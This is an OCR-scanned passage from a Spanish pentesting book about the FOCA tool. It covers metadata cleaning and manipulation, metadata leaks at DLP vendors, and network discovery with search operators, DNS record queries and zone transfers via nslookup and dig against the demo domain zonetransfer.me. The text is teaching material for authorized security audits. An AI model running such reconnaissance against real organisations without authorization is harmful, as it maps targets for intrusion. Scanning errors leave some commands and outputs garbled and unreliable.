metadatos, escoger otros metadatos que serian eliminados y seleccionar otros campos en los que se
mantuviera el valor original.

Asi, la politica establecida por el administrador mostrada en la imagen 02.34, incluira el valor
Informadtica64 en el metadato Company, eliminara cualquier dato que vaya en el metadato Author,
pero mantendra el nombre del titulo del documento, es decir, que el valor del meradato Title no se
modificara, en todos los documentos Microsoft Office, OpenOffice y PDF que sirva el servidor web.

Imagen 02.39: Plantilla de acciones.
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MetaShield Protector for Client

MetaShield Protector For client es una herramienta que elimina los metadatos de forma rapida
y efectiva. Crea una copia del documento limpia de metadatos permitiendo mantener intacto el
documento original. Eleven Paths ha desarrollado esta herramienta para entornos Windows, y es
capaz de eliminar metadatos de documentos Office, Open Office, StarOffice, PDF, Jpg e incluso
de documentos iWorks de Apple. Solo es necesario localizar uno o varios documento en la maquina
(o dentro de algin directorio compartido de la red) para realizar con un clic de raton la operacion.

Esta herramienta ademads permite poder seleccionar qué tipo de limpieza se quiere realizar:

- Clean keep original files: Generando una copia exacta del documento limpia de metadatos
manteniendo el original intacto.

- Clean Metadata: Limpiando directamente los metadatos del documento original.
? e

s

2 & : - e
Imagen 02.40: MetaShield Protector for client.

La velocidad del proceso dependera de la cantidad de archivos seleccionados y su tamafio. Los
ejemplos vistos en este capitulo, recuerdan que son muchos los que desconocen que existe metadatos
en los documentos digitales y que son accesibles a cualquiera en la red. Por otro lado, un documento
libre de metadatos indica seriedad, responsabilidad y dedicacion por parte de su propietario, al no
divulgar ningtn tipo de informacion sensible fuera de lo estrictamente necesario.
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Manipulando metadatos para engaiiar a la FOCA

Los metadatos de un documento se pueden modificar, al igual que el hanner de un servidor web o la
version de un servidor DN (como hacen los chicos de RedHar). De hecho, para ocultar la informacion
a las técnicas de fingerprinting basicas, esos datos se modifican para intentar engafiar a los usuarios
menos experimentados. Sin embargo, cuando se hace un pentesting, los datos importantes se revisan
y confirman manualmente para detectar las técnicas de deception y sacar la informacion correcta.

Asi, cuando se lee el banner de un servidor web, si algo suena raro con €l, se le pasa una herramienta de
fingerprinting al servidor que evalue el tipo de respuesta, el orden de la misma, y el comportamiento
ante determinadas situaciones para poder garantizar la version del servidor web.

Con los metadatos la manipulacion es igualmente posible. Cuando en el afio 2008 pensamos en para
qué podria ser Gtil modificar los metadatos se nos ocurrieron varios escenarios posibles:

- Antiforensics: Alguien que quisiera incriminar a otra persona haciendo creer que el
documento lo habia escrito otro para engaiiar a un analista forense en una investigacion.
Esto sera especialmente importante a tener en cuenta en el analisis forense judicial, del que
hablaremos en el anexo dedicado a MetaShield Forensics.

- Metadata HoneyPot: Alguien que quisiera detectar si se estaban utilizando los metadatos
para atacar su sitio, es decir, el articulo que publicamos en el congreso IADIS 2008 sobre
Metadata Honeypot - ya os lo publicaré por aqui, que nunca lo hice y solo os dejé la referencia
al mismo.

- Imagen corporativa: por supuesto, para lo que lo usamos en MetaShield Protector y
OO0 Metaextactor, es decir, quitar todos los datos sensibles y establecer valores en metadatos
que sean corporativos, como poner el nombre de la compaiiia.

Sin embargo, intentar manipular los metadatos para engafiar a un usuario en un proceso de pentesting
es mas bien inutil. De hecho, ya nos encontramos con este problema en la primera version de la
FOCA, alla por el afio 2008, en el que nos preocupaba no el encontrar datos manipulados, sino
intatiles por ser documentos incorporados a la web del proceso de pentesting que habian llegado alli
por casualidad, por ejemplo unas diapositivas de una presentacion de un ponente invitado a unas
conferencias. En ese caso, los metadatos seran de la red donde trabaje el speaker y no de la web que
publica el documento, por lo tanto habia que quitarlo del proyecto.

Para solucionar este problema, afiadimos, en la primera version de FOCA una herramienta para el
traceo de metadatos. Es decir, cuando se hace el analisis de meradatos, averiguar de qué documento
proviene ese metadato. Si la cosa suena “rara” o “manipulada” o simplemente es inqtil, basta con
abrir el documento (boton derecho desde FOCA) revisarlo, y si no es véalido, es decir, es falso o ha
sido manipulado, eliminarlo con el botén derecho de la lista de documentos y volver a analizar el
sitio. Para hacerlo de forma comoda, cuando aparece un metadato, con el boton derecho se accede
a la opcion de “documentos donde aparece este valor”, que lleva al documento del que procede el
metadato. Asi el auditor puede revisar bien el documento, y descartarlo si fuera falso.
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Imagen 02.41: Opciones de traceo de origen de metadato.

Ahora bien, si una empresa tiene 2.000 documentos y quiere protegerse de FOCA... jalguien cree
que es util manipular un documento y dejar los 1.999 con datos reales? Si lo hiciera seria de necios,
ya que estaria dejando datos publicos de su empresa en Internet por engafiar a FOCA. Ademas, si solo
hay un documento con informacion sensible, el analista haria una revision manual y concienzuda
para saber si es falsa o no esa info. Si se encuentra una direccion /P en un documento, se prueba, se
analiza, y se mira a ver si puede ser utilizada para atacar el sitio. ;Que no se puede porque el dato
es antiguo o ha sido manipulado? Pues mala suerte, a por otro posible camino de entrada en la red.

Es por eso que las empresas utilizan plantillas de valores corporativos, con soluciones como
MetaShield Protector, que cambia todos los metadatos, pero no para engafiar a un pentester, sino
directamente para proteger la imagen de la compania.

¢Se pueden manipular los metadatos de los documentos? Evidentemente, como los valores de un
log, o las cabeceras de un mensaje de correo electronico. ;Eso quiere decir que sean inutiles para
un proceso de pentesting? No. De hecho estamos hablando de una de las fugas de informacion mas
importantes de muchas empresas, con lo que es muy facil sacar informacion jugosa de objetivos
de pentesting. ;Es probable que alguien haya manipulado un metadato en un documento? La
probabilidad es muy baja en un proceso de pentesting de una web con 300 documentos, pero por
supuesto, toda informacion extraida por FOCA siempre debe ser contrastada, como se hace con la
info que devuelve cualquier scanner de seguridad.
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Fuga de informacion en empresas lideres en Data Loss Prevention

Gartner publico en 2013 un estudio en el que clasifica a las empresas mas importantes que ofrecen
soluciones de prevencion de fuga de informacion (Data Loss Prevention o DLP) segin su posicion,
estrategia, eficacia y liderazgo en el mercado. Desde Eleven Paths quisimos realizar un pequefio
experimento para comprobar si estas mismas compaiiias controlan la publicacion de metadatos en
sus propios servidores, como potencial punto de fuga de informacion sensible.

Segtin el estudio Magic Quadrant for Content-Aware Data Loss Prevention realizado por la
consultora Gartner, en el aiio 2014 mas del 50% de las empresas utilizara alguna caracteristica en
sus politicas de seguridad a la hora de realizar una prevencion de fuga de informacion (Data Loss
Prevention) en sus datos sensibles. Sin embargo solo el 30% de estas dispondra de una solucion o
estrategia DLP global basada en el contenido.

El estudio realizado por Gartner determina cuales son las empresas lideres a la hora de realizar
prevencion de fuga de informacion, estableciendo como factores de medicion para generar el
liderazgo indicadores como las soluciones empresariales Content-Aware DLP proporcionadas, los
productos DLP-Lite ofertados o si proporcionan un canal DLP para aclarar al usuario dudas respecto
a determinados cumplimientos regulatorios, por ¢jemplo.
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Imagen 02.42: Grafico de las empresas lideres en Data Loss Prevention, segin Gartner.
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;Evitan estas empresas la fuga de informacion a través de metadatos en sus propios sistemas? Con
FOCA, se ha realizado un anélisis al frontal web principal de estas compaiiias que aparecen en el
estudio. MetaShield se ha encargado de descargar y analizar los documentos publicos expuestos en
la web.

Los resultados se muestran de manera genérica en la siguiente tabla para evitar crear una competencia
entre ellas. Lo mas significativo si cabe del estudio es que absolutamente todas las empresas
estudiadas cuentan con metadatos asociados a los documentos piblicos que exponen en internet.
Parece que estos documentos no estan siendo sometidos a ningin proceso de limpieza y, por tanto,
son susceptibles de convertirse en un punto de fuga de informacion confidencial que es necesario
tener en cuenta.

La siguiente tabla muestra en datos brutos, la pérdida de informacion expuesta por cada una de las
empresas de seguridad.
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Imagen 02.43: Total de fuga de informacion expuesta por las empresas que proporcionan herramientas y servicios DLF.

En funcion de la tabla anterior, se ha procedido a realizar un nuevo grafico mostrando la cantidad
de fuga de informacion producida por las empresas DLP estudiadas. Logicamente, las entidades
analizadas que sufren mas fuga de informacion a través de los metadatos son las que también
exponen un mayor nimero de documentos publicos en sus sitios web.

La informacion que se filtra en mayor nimero de ocasiones a través de los metadatos son en general
los nombres o cuentas de usuario, seguido de los directorios internos desde donde se generaron los
documentos. También es muy habitual encontrar las versiones de soffware concreto usadas para su
generacion. En conjunto, informacion valiosa para un potencial atacante.
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Imagen 02.44: Fuga de informacidn expuesta por las empresas que proporcionan herramientas y servicios DLP

Quizas los metadatos siguen siendo uno de los grandes olvidados a la hora de controlar el flujo
de informacion expuesto en las paginas corporativas o simplemente en el momento de compartir
documentos. La fuga de informacién puede producirse a diferentes niveles y a través de muchos
frentes. Si bien la pérdida, publicacion no controlada o exposicién no intencionada de documentos
supone un claro ejemplo de problema que debe ser evitado, la fuga de metadatos de los documentos
(aunque sean publicos) no deben ser menospreciados, especialmente en compaiiias que ofrecen
soluciones para controlar la fuga de informacién.,

El proceso de fuga de informacion no debe observarse como un (nico incidente aislado que permite
a un atacante obtener un documento, correo o informacion sensible. También es un proceso al que un
atacante dedicard un tiempo (determinado por su motivacion) para concluir un ataque. Durante este
estudio del objetivo (y dependiendo de las soluciones que implemente y lo protegida que se encuentre
la entidad) el atacante recopilaré toda la informacion posible sobre la compaiiia aprovechando todo
tipo de fugas (por pequefias que pudieran parecer) para conseguir conocer en profundidad el objetivo
y perpetrar un ataque dirigido.

Las empresas que comercializan productos contra la fuga de informacion, deberian tenerlo en cuenta
también en sus propios sistemas. Por ejemplo, es una practica que ya esta contemplada y que es de
obligado cumplimiento para administraciones publicas segin el Esquema Nacional de Seguridad o
la LOPD.
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Capitulo 111
Descubrimiento de la red

En el capitulo anterior se ha mostrado coémo la herramienta FOCA, a través del analisis de metadatos
de los ficheros publicados en Internet, puede resultar una herramienta muy dtil en la fase de
recoleccion de informacion del objetivo dentro de un test completo de intrusion. A dia de hoy, los
metadatos se han convertido en una de las fuentes OSINT (Open Source INTelligence) de consulta
imprescindible en cualquier pentesting que se realice, y otras herramientas como la popular Maltego
también incorporan ese tipo de andlisis mediante el uso de lo que se denomina Transformadas. Pero
desde hace ya bastante tiempo, ademas de la informacién procedente del andlisis de los metadatos
de los documentos publicos, FOCA incorpora otras muchas funcionalidades basadas también en el
uso de fuentes OSINT que ayudan a un pentester no solo en esta etapa de Intelligence gathering de
una auditoria, sino para enfocar el proceso de exploiting futuro.

En este capitulo se van a estudiar las funcionalidades de footprinting y de fingerprinting que FOCA
lleva a cabo para realizar el proceso de Network Discovery y poder localizar tanto servidores publicos
como internos a la red, nombre de dominios FODN, nombres de equipos internos de la organizacion,
direccionamiento /P de equipos y segmentos de red, asignacion de roles en los sistemas encontrados,
versiones de sistemas operativos y/o del sofiware instalado en cada uno de ellos.

Para entender c6mo estd construida FOCA, hay que tener presente que las técnicas de Jfootprinting
estan orientadas a la bisqueda y recoleccién de la informacion accesible de forma piiblica relacionada
con el dominio a auditar desde fuentes OSINT, que puede haber sido convertida en datos publicos
de forma consciente por la organizacién, como sucede por ejemplo en la direccion IP asociada a un
registro en un servidor DNS, o inconsciente, como la informacion que puede obtenerse de un banner
HTTP por defecto que esta siendo /ndexado por una arafia de Internet como es Shodan.

Las técnicas de fingerprinting, por su parte, consisten en recoger aquella informacion que también
esta accesible piblicamente pero que a priori no puede observarse y debe ser descubierta mediante
inteligencia o pruebas previstas que delatan su existencia. Es decir, se trata de inferir informacion
a partir de pruebas o datos previamente recogidos que se realizan a cada uno de los servicios y
servidores del dominio objetivo para intentar descubrir mas informacién, como roles o tecnologias.

Todas estas funcionalidades pueden encontrarse y personalizarse en la seccién Network del panel
principal de FOC4, tal y como se muestra en la imagen 03.01, y todo lo que el usuario debe hacer
para lanzar el descubrimiento de la red es pulsar el botén Start.
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Imagen 03.01: Personalizacion de opeiones del descubrimiento de red.

1.Opciones de descubrimiento de red

WebSearcher: Localizacion de URLSs en buscadores de Internet

Una de las opciones que FOCA incorpora para tratar de descubrir el mayor nimero posible de
equipos de la red objetivo es la de WebSearcher.

La idea consiste en buscar nombres de hosts y dominios a través de la biisqueda de URLs asociadas
al dominio principal en Google Web, Google API, Bing Web o Bing API, de forma que cada link se
analiza para sacar de é] nuevos nombres de hosts y nombres de dominio.

Por ejemplo, en la imagen 03.02 se muestra el resultado de ejecutar la busqueda “allinurl: ~-www
site:marca.com”. El operador allinurl devuelve todas las paginas /ndexadas de un dominio indicado
o todas las paginas que contienen todas las palabras especificadas en su ur/, mientras que el operador
site define el dominio sobre el que realizar la busqueda.

En la consulta mostrada se le pasa el valor -www al operador allinurl, por lo que Google devolvera
todas las paginas del dominio indicado por el operador site, en este caso marca.com, que no contengan
la cadena www, localizando de este modo una gran cantidad de subdominios.
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Con Bing se pueden realizar busquedas similares utilizando el operador instreamset, que comprueba
si un string esta presente en una o mas de las propiedades titulo, cuerpo o ur/ de una pagina
Indexada, y el operador site. La ejecucion de la busqueda “-instreamset:(url):www site:marca.com”
nos ayudaria, por tanto, a localizar nuevos subdominios y nombres de hosts del dominio analizado.

Para maximizar el nimero de resultados descubiertos, si el sitio alcanza el limite de resultados
en el buscador, FOCA intentard obtener mas resultados haciendo nuevas busquedas en las que ira
excluyendo con los modificadores —inurl los hostnames ya registrados.

| allinurl: -www site:marca.com
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Imagen 03.02: Google Hacking para localizar dominios y nombres de host.

FOCA realiza diferentes busquedas para maximizar al maximo la ventana de 1.000 resultados
obtenibles desde Google o Bing, quitando URLs ya obtenidas. Esto le pemite a FOCA sacar muchas
mas URLs de las que se iran analizando los hosmames, se obtendran subdominios del dominio
objetivo principal, y un montén de informacion mas desde la Ur/ que se analizara en partes
subsiguientes del proceso, como los directorios, los nombres de los programas, las extensiones de
las aplicaciones o los parametros de llamada de un procedimiento.

LLas URLs son uno de los elementos necesarios para que FOCA pueda obtener el maximo de
informacion de un sitio, por lo que es una fase fundamental del proceso de analisis.



Pentesting con FOCA

DNS

Los servidores DNS (Domain Name System o Sistema de Nombres de Dominio) son los elementos
dentro de la infraestructura de Internet que permiten acceder a los recursos de la red mediante su
nombre FODN en lugar de tener que recordar la direccion /P de cada uno de ellos. Por supuesto,
para un proceso de descubrimiento de infraestructura de un objetivo son una fuente de informacién
muy valiosa en cualquier proceso de auditoria, y existen herramientas muy populares que exprimen
su jugo, como el popular DNS Recon.

EI DNS es un servicio basico en Internet y en cualquier red local, ya que a las personas nos resulta
mucho mas sencillo recordar un nombre de un recurso (como www.Google.com) que una direccion
IPv4 (como 74.125.230.211) o una direccion IPv6 (como 2a00:1450:4007:802::1014). Acceder al
contenido del DNS completo de una organizacion daria una imagen total y clara de la infraestructura
del objetivo, por lo que siempre debe ser analizado con interés.

La informacion de los recursos de un dominio que mantiene un servidor DNS se organiza en unos
ficheros llamados mapas de dominio que se componen de diferentes tipos de datos, llamados registros,
que identifican a distintos tipos de recursos. Por ejemplo, los registros NS (Name Server) almacenan
la direccion IP y el nombre de los servidores DNS de un dominio, mientras los registros de tipo MX
(Mail eXchange) guardan los datos de los servidores de correo. Los registros que identifican a las
diferentes maquinas de una red y que contienen su direccion /Pv4, son los registros A, mientras que
los que contienen la direccion /Pv6 son los registros AAAA.

FOCA utiliza varias técnicas para intentar obtener nombres y roles de equipos y de nuevos
subdominios dentro del dominio auditado, lo que ayudara a la herramienta a obtener un mapa de
la red objetivo. En primer lugar, FOCA realizara consultas de registros Well-known a cada dominio
encontrado con el objetivo de obtener informacidn sobre los siguientes tipos de servidores dentro de
la organizacion. En total son mas de 70 distintos los buscados en esta fase del proceso:

- NS — Registros para identificar los servidores DNS

- SOA — Start of [a zone of] Authority. Registro principal de una zona

- MX — Mail eXchange. Servidor por donde la organizacion recibe el correo.

- SPF — Sender Policy Framework. Servidores de envio de correo electronico.

- DKIM — DomainKeys Identified Mail. Politica de firma de mensajes de e-mail.

- VoIP Voice over /P - Servidores para el envio de comunicaciones Vo/P.

- IM: Instant Message Servers. Orientados a servicios de chat, como XMPP o IRC,

- Active Directory: Registros creados para dar soporte a los servicios de Active Directory
- Kerberos: Registros de servicio Kerberos para autorizacion.

- LDAP: Ubicacion de los servidores de bases de datos LDAP

- Web Proxy Autodiscovery: Servidor para configurar automaticamente el servicio Proxy.
- SRV records: Otros registros para servicios TCP y UDP en la organizacion.
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Como se puede ver, uno de los registros Well-known que FOCA consulta para tratar de encontrar
informacién de la red objetivo es el registro SOA (Start of Authority). En este registro se indica la
direccién de correo del responsable del dominio, que puede resultar muy (til para otras fases de la
auditoria, los tiempos de actualizacion para los servidores secundarios, el nimero de serie actual,
que si esta basado en fechas puede indicarnos actividad en la compafiia y, entre otros datos, el
primary master.

El campo primary master o Primary Name Server informa sobre el servidor DNS que tiene la copia
maestra de la informacion relativa a este dominio y que, en el caso de existir servidores secundarios,
sera el servidor a consultar para actualizar las copias del mapa de dominio. En muchos casos ese
Primary Name Server es un servidor no expuesto a Internet, es decir, una maquina que se encuentra
en una red mas protegida e inaccesible desde el exterior. Esto, que a priori puede parecer una
desventaja a la hora de realizar el footprinting de un dominio, es también una fuente de informacion
muy til ya que se puede descubrir el direccionamiento de la red interna para posteriormente aplicar,
por ejemplo, un escaneo de los registros PTR del servidor DNS expuesto en Internet con FOCA
como veremos mas adelante.

En el siguiente ejemplo se ha utilizado el programa nslookup (disponible tanto en sistemas Microsoft
Windows como GNU/Linux) para tratar de obtener informacion del registro SOA del dominio apache.
org. Para ello, tras lanzar el programa en modo interactivo, el primer paso consiste en modificar el
tipo de registros de la consulta con el comando ser fype (en este caso se elegird el tipo SOA) y realizar
una peticion para el dominio apache.org, con la que se obtienen, entre otros datos, el primary name
server de este dominio.

> nslookup
> set type—soa
> apacheorg
Non-authoritative answer:
apache org
primary name server =ns2.surfnet.nl
mail addr = hostmaster-2005-alpha apache org
serial = 2013032701
refresh = 3600
retry = 900

expire = 604800

minimum = 3600

Imagen 03.03: Obtener el registro SOA de un dominio.
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A continuacion, como se desea conocer la direccién IP del equipo ns2.nurfhel.nl, es necesario
modificar de nuevo el tipo de registros a consultar con la orden set type, eligiendo en este caso el
tipo de registro A. Y, finalmente, se realiza una consulta para obtener la direccion IP de ese servidor
de nombres, obteniendo asi el direccionamiento privado de esa red interna, donde esta alojado este
servidor Primary Name Server.

= set type—a
=mns2.surfnet.nl
Non-authoritative answer:
Name: ns2. surfnetnl

Address: 192.87.36.2

Imagen 03.04: [P del Primary NameServer de apache.org.

Analisis del DNS con Diccionario y Transferencias de Zona

Por otra parte, para intentar conseguir el maximo de informacién del servidor DNS, la herramienta
FOCA utiliza un fichero de texto donde se afiade una lista de nombres de Aosf comunes como FIP,
pe0l, pc02, intranet, extranet, etcétera, y trata de resolverlos contra los dominios principales del
proyecto realizando consultas de registros de tipo A. En el momento que se descubra uno nuevo se
volvera a proceder al analisis recursivo del mismo.

Por defecto, la lista de nombres de hosrs que se comprueban es la misma que utiliza la herramienta
Fierce', pero el usuario puede sustituir dicho fichero por otro diccionario y puede afiadir o eliminar
nombres a su antojo en cualquier momento para adaptarse a determinados entornos en los que se
conoce o sospecha tipos de nombres que pudieran estar siendo utilizados en el objetivo.

Como dltima fase del proceso de anlisis del servicio DNS como fuente OSINT, FOCA tratara
también de realizar una transferencia de zona desde todos y cada uno de los servidores DNS del
objetivo que hayan sido localizados, para intentar obtener todos los registros del dominio de forma
global.

Una transferencia de zona, que por definicion es el proceso por el que el contenido de un archivo de
zona DNS se copia desde un servidor DNS principal en un servidor DNS secundario, sélo deberia
poder realizarse desde los servidores DNS secundarios autorizados para lo que la organizaci6n
debe definir un proceso de autorizacion de seguridad en este proceso. Sin embargo, es bastante
comun encontrarse servidores DNS que no controlan la direccion /P desde donde se le solicita la
transferencia de zona y entregan todo su mapa de dominio a quien se lo pide. Lo interesante para
el auditor es que en este mapa de dominio, ademas de las direcciones y nombres de los servidores
publicos de la empresa, es probable que también aparezcan servidores internos con sus direcciones
privadas.

1 HTTP://ha.ckers.org/fierce/
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Para entender como funciona internamente este proceso, de nuevo utilizando la herramienta
nslookup, es posible solicitar una transferencia de zona a cualquier servidor DNS. Para ello, en
primer lugar es necesario conocer cudl es el servidor de nombres del dominio, por lo que hay que
modificar el tipo de registros a consultar para elegir el tipo Name Server (set type=NS) y realizar una
consulta para localizar los servidores de nombres del dominio deseado.

En el ejemplo que se va a mostrar a continuacion se ha usado el dominio zonetransfer.me, que fue
registrado por Robin Woods de digininja* para no tener que hacer memoria durante sus clases y
demostraciones intentando recordar algin dominio que permitiera realizar transferencias de zona y
para no encontrarse al realizar las pruebas que los administradores habian solucionado el problema.

>nslookup

> set type=ns

> zonetransfer.me

Non-authoritative answer:

zonetransfer.me nameserver = nsl6.zoneedit.com.
zonetransfer.me nameserver = ns12.zoneedit.com.
Authoritative answers can be found from:
ns12.zoneedit.com internet address = 209.62.64.46

nsl6.zoneedit.com internet address = 69.64.68.41

Imagen 03.05: Servidores DNS del dominio zonetransfer.me.

Tras obtener la lista de los servidores DNS del dominio auditado, a continuacion hay que indicar
al programa que las proximas consultas las realice contra uno de estos servidores DNS mediante la
orden server [P/FODN.

> server nsl6.zoneedit.com
Default server: nsl6.zoneedit.com

Address: 69.64.68.41#53

Imagen 03.06: Seleccionar un servidor para realizar las consultas.

Y por tltimo hay que solicitar la transferencia de zona con el comando Is dominio. Si el servidor
se encuentra bien configurado el usuario recibird un mensaje de error indicando que la solicitud no
es posible, pero en caso contrario la salida de este comando contendra la informacion de todos los
registros del mapa de zona de este dominio, tal y como se muestra en la imagen 03.07.

2 HTTP:/lwww.digininja.org
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> Is zonetransfer.me

zonetransfer.me. 7200 IN 504 nsl6.zoneedit.com.

soacontact.zoneedit.com. 2013064418 2400 360 1209600 300

zonetransferme. 7200 IN NS ns16.zoneedit.com.
zonetransferme. 7200 IN NS ns12.zoneedit.com.
zonetransfer.me. 7200 IN A 217.147.180.162
zonetransferme. 7200 IN MX 0 ASPMX.L.Google. COM.
zonetransferme. 7200 IN MX 10

ALT1.ASPMX.L.Google.COM.
zonetransfer.me. 7200 IN MX 10

ALT2.ASPMX.L.Google.COM.

[.]

Imagen 03.07: Transferencia de zona del dominio zonetransfer.me.

La implementacion de la herramienta nslookup en GNU/Linux no incorpora la orden Is, por lo que
los usuarios de este sistema pueden utilizar el programa dig (Domain Information Groper). Los
pasos a seguir seran los mismos que se han mostrado con nslookup. Tras localizar los servidores de
nombres del dominio a auditar seleccionando ns como el tipo de registro que se desea consultar, se
solicita la transferencia de zona con las opciones axfr, utilizando el modificador @ para indicar la /P
o el FODN del servidor DNS al que se debe realizar la solicitud.

~$ dig axfr @ns16.zoneedit.com zonetransfer.me

zonetransferme. 7200 m S0A nsl6.zoneedit com.
soacontact. zoneedit com. 2013064418 2400 360 1209600 300

zonetransferme. 7200 IN A 217.147.180.162
zonetransferme. 7200 N MX 0 ASPMY L.GOOGLE.COM.
[-1]

Imagen 03.08: Solicitar una transferencia de zona con dig.

La informacién obtenida por FOCA en una transferencia de zona puede resultar de gran ayuda para
el éxito posterior de una auditoria. En ocasiones los administradores de los servidores de nombres
no tienen la sensaciéon de que la informacion almacenada en el mapa de dominio pueda ofrecer
datos significativos a un potencial atacante, pero lo cierto es que, aunque todos los registros sean
de maquinas publicas y no revelen el direccionamiento interno de la compaiiia, suele ser habitual
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descubrir datos muy interesantes que podrian ser la base para otras fases de un test de intrusion. A
continuaciéon se muestran varios ejemplos obtenidos del mapa de dominio de zonetransfer.me que
ponen de manifiesto el tipo de informacion que puede inferirse de un andlisis de los registros de un
dominio. En la web del propio proyecto’ pueden encontrarse una mayor cantidad de ejemplos y una
descripcion mas detallada de los mismos.

- Los registros MX obtenidos con la transferencia mostrados en la imagen 03.07 indican
que los servidores a los que el email debe ser enviado son los servidores de correo de Google,
por lo que se deduce que la compafiia usa Gmail o Google Apps para la gestion de su correo
electrénico.

- Losregistros LOC (LOCation) se utilizan para almacenar informacion sobre la longitud y
latitud de un host, y los valores se guardan en grados, minutos y segundos. Esta informacion
es evidentemente muy interesante, ya que, por una parte, podrian obtenerse imagenes de
la situacion de los data centers de la compaiiia y fotografias de los edificios donde estan
alojados y, por otro lado, hace posible preparar el fiming de la fase de explotacion de un test
de forma mas eficiente, haciendo que el ataque coincida con un fin de semana, por ejemplo.

dr.zonetransferme. 300 IN LOC 532056.557N13833.525W 0.00m Im
10000m 10m

Imagen 03.09: Registro LOC.

- Los registros Txt almacenan informacion de texto y siempre deben ser comprobados por
el pentester, ya que suelen contener datos muy valiosos. Por ejemplo, el primer registro
mostrado a continuacion informa de que el sitio ha sido verificado para ser utilizado en una
cuenta de Google App, mientras que el segundo registro es el mecanismo que usa GoDaddy
para comprobar que quien solicita un certificado SSL es realmente el duefio del dominio.

zonetransfer.me. 301 IN  Txt “Google-site-
verification=tyP28J7JAUHA9fw2sHXMgcCCOI6XBmmoVid4VIMewxA”

dzc.zonetransferme. 7200 IN Txt “AbCdEfG”

Imagen 03.10: Registros Txt.

- En ocasiones también pueden localizarse otros sitios alojados en el mismo servidor que el
sitio web principal y que puede que se encuentren menos protegidos por tratarse, por ejemplo,
de un sitio de pruebas, lo que lo convertiria un mejor vector de ataque.

| testing.zonetransfer.me. 301 IN  CNAME www.zonetransfer.me.
Imagen 03.11: Registro CNAME.

- Y, por tltimo, los registros SRV identifican servicios y almacenan el protocolo, equipo y
puerto en el que se ejecutan, por lo que pueden utilizarse para descubrir roles de los servidores.

| _sip._tcp.zonetransfer.me. 14000 IN SRV~ 0 0 5060 www.zonetransfer.me. I
Tmagen 03.12: Registro SRV,
3 HTTP:/iwww.digininja.org/projects/zonetransferme. PHP
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Ademas de poder activar o desactivar todas estas funcionalidades en la seccion Network de FOCA,
en las opciones del programa, en la pestafia con el titulo de DNS Search, es posible personalizar el
numero de servidores DNS que se van a consultar para cada una de las consultas, la recursividad
maxima que se seguira aplicando el algoritmo voraz de biisqueda y la cantidad de consultas paralelas.

p Use all DNS servers

; \When the program make a DNS query it can use all the DNS servers
,; found. It's slow and often redundant.
2

‘when the program find a new domain or IP address, it try to resolve
or reverse resolve it, then it's posible find new domains or IP
addresses. This is a recursive task that can produce very little useful
information. A value of 3 is recommended.

Rt AR

4 2] Parallel DNS Queries

To speed up DNS lookups it's possible to search in parallel.
This value limits the number of parallel DNS queries.
A value of 0 indicates that there is no limit

S e e

s

Imagen 03.13: Configuracion de las bisquedas DNS.

La primera opcion permite escoger al usuario si se desea utilizar un tnico servidor DNS de los
localizados para el dominio objetivo o si, por el contrario, prefiere que se consulten todos los que
hayan sido encontrados. Marcar esta pestafia es habitualmente redundante y hace que se ralentice
el procesamiento, pero en ocasiones puede resultar interesante. Por ejemplo, es posible encontrar
dominios en los que las transferencias de zona solo es posible realizarlas sobre uno de los servidores
de nombres.

Cuando FOCA encuentra un nuevo dominio o una nueva direccion IP, el programa trata de realizar
una resolucion directa o inversa, respectivamente, con el objetivo de localizar mas direcciones y
dominios. Esta tarea recursiva suele producir pocos resultados positivos, por lo que se recomienda
escoger un valor de 3 como maximo en esta opcion y lo recomendable seria utilizar el valor por
defecto 2, que es el que mejor balance entre tiempo y resultados ofrece al proceso.

Y, por ultimo, el usuario puede escoger el nimero de consultas a realizar de forma paralela de
manera que esta parte del algoritmo se acelere, donde un valor 0 indica al programa que no se
establece ningin limite. En la version Free de FOCA esta opcion se encuentra deshabilitada y el
valor establecido por el programaes 1.
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DNS Prediction

Una de las opciones de analisis de los servicios DNS que no estd en modo automatico es la
prediccion de servidores en base al nombre de algtn servidor. El objetivo es poder predecir nombres
de servidores cuando se detecta un patron en la forma de nombrarlos, es decir, por ejemplo aparece
un servidor que se llama FileServerl. En ese entorno seria mas que sensato pensar que podria existir
un servidor llamado FileServer2 o FileServer3, por lo que merece la pena tratar de localizarlos.

Para poder realizar esta prediccion, FOCA viene con una herramienta que genera todas la
combinaciones de nombres en base a variables numéricas y variables alfanuméricas que pueden
recorrer el alfabeto. Se selecciona la herramienta de DNS Prediction haciendo clic con el boton
derecho del raton sobre el servidor que se quiere usar de base para la prediccion. Una vez seleccionada
la accion, aparecera un cuadro de dialogo donde se configuran todas las posibles predicciones de
nombre a probar,

S P{Edl{tmﬂ

Imagen 03.14: Configuracion de prediccion DNS.

Entre corchetes se definen las variables, se elige su posicion y se determina donde van dentro del
nombre base. FOCA realizara todas las peticiones y dara de alta en la vista de servidores todos los
nuevos servidores que hayan sido descubiertos.

wwausd es [212 128 129 43]
www3.usal es [212.128.129.120]
| ftp1.usal.es [212.128.130.49]

Imagen 03.15: Servidores descubiertos por DNS Prediction.
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Bing IP

Hoy en dia es muy habitual que un servidor web se encuentre en un entorno de hosting compartido,
lo que significa que comparte la infraestructura del servidor con otros dominios. La tecnologia de
virtual hosts es la que permite que un servidor web pueda alojar al mismo tiempo varios sitios web,
asociando multiples nombres de dominio a una misma direccion /P. Es por ello que una de las
cabeceras obligatorias en las peticiones HTTP es la cabecera host, que indica el nombre del sitio
sobre el que el cliente esta solicitando un determinado recurso, de forma que el servidor web pueda
saber a qué sitio web de los alojados en esa /P debe dirigir la peticion,

Hay muchos mecanismos para descubrir los virfual hosts relacionados con un servidor analizado,
aunque quizés una de las mayores base de datos que existen para realizar este tipo de consultas es
la que mantiene el buscador Bing, que mediante el operador /P:X.X.X.X permite obtener la lista
de todos los sitios Indexados por Bing en esa misma direccion /P, ya sea porque estan alojados en
el mismo servidor o porque estan detras de la misma direccion /P publica tras un Rerverse Proxy.

Por cada nueva direccion /P descubierta en la fase de analisis de red, FOCA realizara una consulta a
Bing para tratar de encontrar nuevos nombres de dominio asociados a esa direccion /P. Si el nombre
del hosts descubierto a través de esta consulta esta en el dominio principal del proyecto de analisis,
entonces se volvera a realizar todo el trabajo recursivamente, es decir, se volvera a resolver su
direccion /P para comprobar si se obtiene una diferente. Si es asi, se volvera a realizar el proceso de
PTR Scanning, descrito en la siguiente seccion, y de Bing IP. Puede observarse este proceso en la
figura 03.16, en la que se muestran algunos de los dominios descubiertos por FOCA en una direccion
IP analizada.

Domains n IP - Source
simundo a4 Main domain [ekmundo ]
vy slmundo es Main domain [elmunde.es] > DNS resolution [193.110.128.199) » DNS reverse tesolubion [ elmundo, es]
